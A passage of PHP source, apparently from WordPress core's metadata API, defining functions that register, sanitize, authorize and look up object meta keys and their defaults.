 * @return bool Whether the meta key is considered protected.
 */
function is_protected_meta( $meta_key, $meta_type = '' ) {
	$sanitized_key = preg_replace( "/[^\x20-\x7E\p{L}]/", '', $meta_key );
	$protected     = strlen( $sanitized_key ) > 0 && ( '_' === $sanitized_key[0] );

	/**
	 * Filters whether a meta key is considered protected.
	 *
	 * @since 3.2.0
	 *
	 * @param bool   $protected Whether the key is considered protected.
	 * @param string $meta_key  Metadata key.
	 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
	 *                          or any other object type with an associated meta table.
	 */
	return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type );
}

/**
 * Sanitizes meta value.
 *
 * @since 3.1.3
 * @since 4.9.8 The `$object_subtype` parameter was added.
 *
 * @param string $meta_key       Metadata key.
 * @param mixed  $meta_value     Metadata value to sanitize.
 * @param string $object_type    Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                               or any other object type with an associated meta table.
 * @param string $object_subtype Optional. The subtype of the object type. Default empty string.
 * @return mixed Sanitized $meta_value.
 */
function sanitize_meta( $meta_key, $meta_value, $object_type, $object_subtype = '' ) {
	if ( ! empty( $object_subtype ) && has_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}" ) ) {

		/**
		 * Filters the sanitization of a specific meta key of a specific meta type and subtype.
		 *
		 * The dynamic portions of the hook name, `$object_type`, `$meta_key`,
		 * and `$object_subtype`, refer to the metadata object type (comment, post, term, or user),
		 * the meta key value, and the object subtype respectively.
		 *
		 * @since 4.9.8
		 *
		 * @param mixed  $meta_value     Metadata value to sanitize.
		 * @param string $meta_key       Metadata key.
		 * @param string $object_type    Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
		 *                               or any other object type with an associated meta table.
		 * @param string $object_subtype Object subtype.
		 */
		return apply_filters( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $meta_value, $meta_key, $object_type, $object_subtype );
	}

	/**
	 * Filters the sanitization of a specific meta key of a specific meta type.
	 *
	 * The dynamic portions of the hook name, `$meta_type`, and `$meta_key`,
	 * refer to the metadata object type (comment, post, term, or user) and the meta
	 * key value, respectively.
	 *
	 * @since 3.3.0
	 *
	 * @param mixed  $meta_value  Metadata value to sanitize.
	 * @param string $meta_key    Metadata key.
	 * @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
	 *                            or any other object type with an associated meta table.
	 */
	return apply_filters( "sanitize_{$object_type}_meta_{$meta_key}", $meta_value, $meta_key, $object_type );
}

/**
 * Registers a meta key.
 *
 * It is recommended to register meta keys for a specific combination of object type and object subtype. If passing
 * an object subtype is omitted, the meta key will be registered for the entire object type, however it can be partly
 * overridden in case a more specific meta key of the same name exists for the same object type and a subtype.
 *
 * If an object type does not support any subtypes, such as users or comments, you should commonly call this function
 * without passing a subtype.
 *
 * @since 3.3.0
 * @since 4.6.0 {@link https://core.trac.wordpress.org/ticket/35658 Modified
 *              to support an array of data to attach to registered meta keys}. Previous arguments for
 *              `$sanitize_callback` and `$auth_callback` have been folded into this array.
 * @since 4.9.8 The `$object_subtype` argument was added to the arguments array.
 * @since 5.3.0 Valid meta types expanded to include "array" and "object".
 * @since 5.5.0 The `$default` argument was added to the arguments array.
 * @since 6.4.0 The `$revisions_enabled` argument was added to the arguments array.
 *
 * @param string       $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                                  or any other object type with an associated meta table.
 * @param string       $meta_key    Meta key to register.
 * @param array        $args {
 *     Data used to describe the meta key when registered.
 *
 *     @type string     $object_subtype    A subtype; e.g. if the object type is "post", the post type. If left empty,
 *                                         the meta key will be registered on the entire object type. Default empty.
 *     @type string     $type              The type of data associated with this meta key.
 *                                         Valid values are 'string', 'boolean', 'integer', 'number', 'array', and 'object'.
 *     @type string     $description       A description of the data attached to this meta key.
 *     @type bool       $single            Whether the meta key has one value per object, or an array of values per object.
 *     @type mixed      $default           The default value returned from get_metadata() if no value has been set yet.
 *                                         When using a non-single meta key, the default value is for the first entry.
 *                                         In other words, when calling get_metadata() with `$single` set to `false`,
 *                                         the default value given here will be wrapped in an array.
 *     @type callable   $sanitize_callback A function or method to call when sanitizing `$meta_key` data.
 *     @type callable   $auth_callback     Optional. A function or method to call when performing edit_post_meta,
 *                                         add_post_meta, and delete_post_meta capability checks.
 *     @type bool|array $show_in_rest      Whether data associated with this meta key can be considered public and
 *                                         should be accessible via the REST API. A custom post type must also declare
 *                                         support for custom fields for registered meta to be accessible via REST.
 *                                         When registering complex meta values this argument may optionally be an
 *                                         array with 'schema' or 'prepare_callback' keys instead of a boolean.
 *     @type bool       $revisions_enabled Whether to enable revisions support for this meta_key. Can only be used when the
 *                                         object type is 'post'.
 * }
 * @param string|array $deprecated Deprecated. Use `$args` instead.
 * @return bool True if the meta key was successfully registered in the global array, false if not.
 *              Registering a meta key with distinct sanitize and auth callbacks will fire those callbacks,
 *              but will not add to the global registry.
 */
function register_meta( $object_type, $meta_key, $args, $deprecated = null ) {
	global $wp_meta_keys;

	if ( ! is_array( $wp_meta_keys ) ) {
		$wp_meta_keys = array();
	}

	$defaults = array(
		'object_subtype'    => '',
		'type'              => 'string',
		'description'       => '',
		'default'           => '',
		'single'            => false,
		'sanitize_callback' => null,
		'auth_callback'     => null,
		'show_in_rest'      => false,
		'revisions_enabled' => false,
	);

	// There used to be individual args for sanitize and auth callbacks.
	$has_old_sanitize_cb = false;
	$has_old_auth_cb     = false;

	if ( is_callable( $args ) ) {
		$args = array(
			'sanitize_callback' => $args,
		);

		$has_old_sanitize_cb = true;
	} else {
		$args = (array) $args;
	}

	if ( is_callable( $deprecated ) ) {
		$args['auth_callback'] = $deprecated;
		$has_old_auth_cb       = true;
	}

	/**
	 * Filters the registration arguments when registering meta.
	 *
	 * @since 4.6.0
	 *
	 * @param array  $args        Array of meta registration arguments.
	 * @param array  $defaults    Array of default arguments.
	 * @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
	 *                            or any other object type with an associated meta table.
	 * @param string $meta_key    Meta key.
	 */
	$args = apply_filters( 'register_meta_args', $args, $defaults, $object_type, $meta_key );
	unset( $defaults['default'] );
	$args = wp_parse_args( $args, $defaults );

	// Require an item schema when registering array meta.
	if ( false !== $args['show_in_rest'] && 'array' === $args['type'] ) {
		if ( ! is_array( $args['show_in_rest'] ) || ! isset( $args['show_in_rest']['schema']['items'] ) ) {
			_doing_it_wrong( __FUNCTION__, __( 'When registering an "array" meta type to show in the REST API, you must specify the schema for each array item in "show_in_rest.schema.items".' ), '5.3.0' );

			return false;
		}
	}

	$object_subtype = ! empty( $args['object_subtype'] ) ? $args['object_subtype'] : '';
	if ( $args['revisions_enabled'] ) {
		if ( 'post' !== $object_type ) {
			_doing_it_wrong( __FUNCTION__, __( 'Meta keys cannot enable revisions support unless the object type supports revisions.' ), '6.4.0' );

			return false;
		} elseif ( ! empty( $object_subtype ) && ! post_type_supports( $object_subtype, 'revisions' ) ) {
			_doing_it_wrong( __FUNCTION__, __( 'Meta keys cannot enable revisions support unless the object subtype supports revisions.' ), '6.4.0' );

			return false;
		}
	}

	// If `auth_callback` is not provided, fall back to `is_protected_meta()`.
	if ( empty( $args['auth_callback'] ) ) {
		if ( is_protected_meta( $meta_key, $object_type ) ) {
			$args['auth_callback'] = '__return_false';
		} else {
			$args['auth_callback'] = '__return_true';
		}
	}

	// Back-compat: old sanitize and auth callbacks are applied to all of an object type.
	if ( is_callable( $args['sanitize_callback'] ) ) {
		if ( ! empty( $object_subtype ) ) {
			add_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['sanitize_callback'], 10, 4 );
		} else {
			add_filter( "sanitize_{$object_type}_meta_{$meta_key}", $args['sanitize_callback'], 10, 3 );
		}
	}

	if ( is_callable( $args['auth_callback'] ) ) {
		if ( ! empty( $object_subtype ) ) {
			add_filter( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['auth_callback'], 10, 6 );
		} else {
			add_filter( "auth_{$object_type}_meta_{$meta_key}", $args['auth_callback'], 10, 6 );
		}
	}

	if ( array_key_exists( 'default', $args ) ) {
		$schema = $args;
		if ( is_array( $args['show_in_rest'] ) && isset( $args['show_in_rest']['schema'] ) ) {
			$schema = array_merge( $schema, $args['show_in_rest']['schema'] );
		}

		$check = rest_validate_value_from_schema( $args['default'], $schema );
		if ( is_wp_error( $check ) ) {
			_doing_it_wrong( __FUNCTION__, __( 'When registering a default meta value the data must match the type provided.' ), '5.5.0' );

			return false;
		}

		if ( ! has_filter( "default_{$object_type}_metadata", 'filter_default_metadata' ) ) {
			add_filter( "default_{$object_type}_metadata", 'filter_default_metadata', 10, 5 );
		}
	}

	// Global registry only contains meta keys registered with the array of arguments added in 4.6.0.
	if ( ! $has_old_auth_cb && ! $has_old_sanitize_cb ) {
		unset( $args['object_subtype'] );

		$wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ] = $args;

		return true;
	}

	return false;
}

/**
 * Filters into default_{$object_type}_metadata and adds in default value.
 *
 * @since 5.5.0
 *
 * @param mixed  $value     Current value passed to filter.
 * @param int    $object_id ID of the object metadata is for.
 * @param string $meta_key  Metadata key.
 * @param bool   $single    If true, return only the first value of the specified `$meta_key`.
 *                          This parameter has no effect if `$meta_key` is not specified.
 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table.
 * @return mixed An array of default values if `$single` is false.
 *               The default value of the meta field if `$single` is true.
 */
function filter_default_metadata( $value, $object_id, $meta_key, $single, $meta_type ) {
	global $wp_meta_keys;

	if ( wp_installing() ) {
		return $value;
	}

	if ( ! is_array( $wp_meta_keys ) || ! isset( $wp_meta_keys[ $meta_type ] ) ) {
		return $value;
	}

	$defaults = array();
	foreach ( $wp_meta_keys[ $meta_type ] as $sub_type => $meta_data ) {
		foreach ( $meta_data as $_meta_key => $args ) {
			if ( $_meta_key === $meta_key && array_key_exists( 'default', $args ) ) {
				$defaults[ $sub_type ] = $args;
			}
		}
	}

	if ( ! $defaults ) {
		return $value;
	}

	// If this meta type does not have subtypes, then the default is keyed as an empty string.
	if ( isset( $defaults[''] ) ) {
		$metadata = $defaults[''];
	} else {
		$sub_type = get_object_subtype( $meta_type, $object_id );
		if ( ! isset( $defaults[ $sub_type ] ) ) {
			return $value;
		}
		$metadata = $defaults[ $sub_type ];
	}

	if ( $single ) {
		$value = $metadata['default'];
	} else {
		$value = array( $metadata['default'] );
	}

	return $value;
}

/**
 * Checks if a meta key is registered.
 *
 * @since 4.6.0
 * @since 4.9.8 The `$object_subtype` parameter was added.
 *
 * @param string $object_type    Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                               or any other object type with an associated meta table.
 * @param string $meta_key       Metadata key.
 * @param string $object_subtype Optional. The subtype of the object type. Default empty string.
 * @return bool True if the meta key is registered to the object type and, if provided,
 *              the object subtype. False if not.
 */
function registered_meta_key_exists( $object_type, $meta_key, $object_subtype = '' ) {
	$meta_keys = get_registered_meta_keys( $object_type, $object_subtype );

	return isset( $meta_keys[ $meta_key ] );
}

/**
 * Unregisters a meta key from the list of registered keys.
 *
 * @since 4.6.0
 * @since 4.9.8 The `$object_subtype` parameter was added.
 *
 * @param string $object_type    Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                               or any other object type with an associated meta table.
 * @param string $meta_key       Metadata key.
 * @param string $object_subtype Optional. The subtype of the object type. Default empty string.
 * @return bool True if successful. False if the meta key was not registered.
 */
function unregister_meta_key( $object_type, $meta_key, $object_subtype = '' ) {
	global $wp_meta_keys;

	if ( ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
		return false;
	}

	$args = $wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ];

	if ( isset( $args['sanitize_callback'] ) && is_callable( $args['sanitize_callback'] ) ) {
		if ( ! empty( $object_subtype ) ) {
			remove_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['sanitize_callback'] );
		} else {
			remove_filter( "sanitize_{$object_type}_meta_{$meta_key}", $args['sanitize_callback'] );
		}
	}

	if ( isset( $args['auth_callback'] ) && is_callable( $args['auth_callback'] ) ) {
		if ( ! empty( $object_subtype ) ) {
			remove_filter( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['auth_callback'] );
		} else {
			remove_filter( "auth_{$object_type}_meta_{$meta_key}", $args['auth_callback'] );
		}
	}

	unset( $wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ] );

	// Do some clean up.
	if ( empty( $wp_meta_keys[ $object_type ][ $object_subtype ] ) ) {
		unset( $wp_meta_keys[ $object_type ][ $object_subtype ] );
	}
	if ( empty( $wp_meta_keys[ $object_type ] ) ) {
		unset( $wp_meta_keys[ $object_type ] );
	}

	return true;
}

/**
 * Retrieves a list of registered metadata args for an object type, keyed by their meta keys.
 *
 * @since 4.6.0
 * @since 4.9.8 The `$object_subtype` parameter was added.
 *
 * @param string $object_type    Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                               or any other object type with an associated meta table.
 * @param string $object_subtype Optional. The subtype of the object type. Default empty string.
 * @return array[] List of registered metadata args, keyed by their meta keys.
 */
function get_registered_meta_keys( $object_type, $object_subtype = '' ) {
	global $wp_meta_keys;

	if ( ! is_array( $wp_meta_keys ) || ! isset( $wp_meta_keys[ $object_type ] ) || ! isset( $wp_meta_keys[ $object_type ][ $object_subtype ] ) ) {
		return array();
	}

	return $wp_meta_keys[ $object_type ][ $object_subtype ];
}

/**
 * Retrieves registered metadata for a specified object.
 *
 * The results include both meta that is registered specifically for the
 * object's subtype and meta that is registered for the entire object type.
 *
 * @since 4.6.0
 *
 * @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                            or any other object type with an associated meta table.
 * @param int    $object_id   ID of the object the metadata is for.
 * @param string $meta_key    Optional. Registered metadata key. If not specified, retrieve all registered
 *                            metadata for the specified object.
 * @return mixed A single value or array of values for a key if specified. An array of all registered keys
 *               and values for an object ID if not. False if a given $meta_key is not registered.
 */
function get_registered_metadata( $object_type, $object_id, $meta_key = '' ) {
	$object_subtype = get_object_subtype( $object_type, $object_id );

	if ( ! empty( $meta_key ) ) {
		if ( ! empty( $object_subtype ) && ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
			$object_subtype = '';
		}

		if ( ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
			return false;
		}

		$meta_keys     = get_registered_meta_keys( $object_type, $object_subtype );
		$meta_key_data = $meta_keys[ $meta_key ];

		$data = get_metadata( $object_type, $object_id, $meta_key, $meta_key_data['single'] );

		return $data;
	}

	$data = get_metadata( $object_type, $object_id );
	if ( ! $data ) {
		return array();
	}

	$meta_keys = get_registered_meta_keys( $object_type );
	if ( ! empty( $object_subtype ) ) {
		$meta_keys = array_merge( $meta_keys, get_registered_meta_keys( $object_type, $object_subtype ) );
	}

	return array_intersect_key( $data, $meta_keys );
}

/**
 * Filters out `register_meta()` args based on an allowed list.
 *
 * `register_meta()` args may change over time, so requiring the allowed list
 * to be explicitly turned off is a warranty seal of sorts.
 *
 * @access private
 * @since 5.5.0
 *
 * @param array $args         Arguments from `register_meta()`.
 * @param array $default_args Default arguments for `register_meta()`.
 * @return array Filtered arguments.
 */
function _wp_register_meta_args_allowed_list( $args, $default_args ) {
	return array_intersect_key( $args, $default_args );
}

/**
 * Returns the object subtype for a given object ID of a specific type.
 *
 * @since 4.9.8
 *
 * @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                            or any other object type with an associated meta table.
 * @param int    $object_id   ID of the object to retrieve its subtype.
 * @return string The object subtype or an empty string if unspecified subtype.
 */
function get_object_subtype( $object_type, $object_id ) {
	$object_id      = (int) $object_id;
	$object_subtype = '';

	switch ( $object_type ) {
		case 'post':
			$post_type = get_post_type( $object_id );

			if ( ! empty( $post_type ) ) {
				$object_subtype = $post_type;
			}
			break;

		case 'term':
			$term = get_term( $object_id );
			if ( ! $term instanceof WP_Term ) {
				break;
			}

			$object_subtype = $term->taxonomy;
			break;

		case 'comment':
			$comment = get_comment( $object_id );
			if ( ! $comment ) {
				break;
			}

			$object_subtype = 'comment';
			break;

		case 'user':
			$user = get_user_by( 'id', $object_id );
			if ( ! $user ) {
				break;
			}

			$object_subtype = 'user';
			break;
	}

	/**
	 * Filters the object subtype identifier for a non-standard object type.
	 *
	 * The dynamic portion of the hook name, `$object_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible hook names include:
	 *
	 *  - `get_object_subtype_post`
	 *  - `get_object_subtype_comment`
	 *  - `get_object_subtype_term`
	 *  - `get_object_subtype_user`
	 *
	 * @since 4.9.8
	 *
	 * @param string $object_subtype Empty string to override.
	 * @param int    $object_id      ID of the object to get the subtype for.
	 */
	return apply_filters( "get_object_subtype_{$object_type}", $object_subtype, $object_id );
}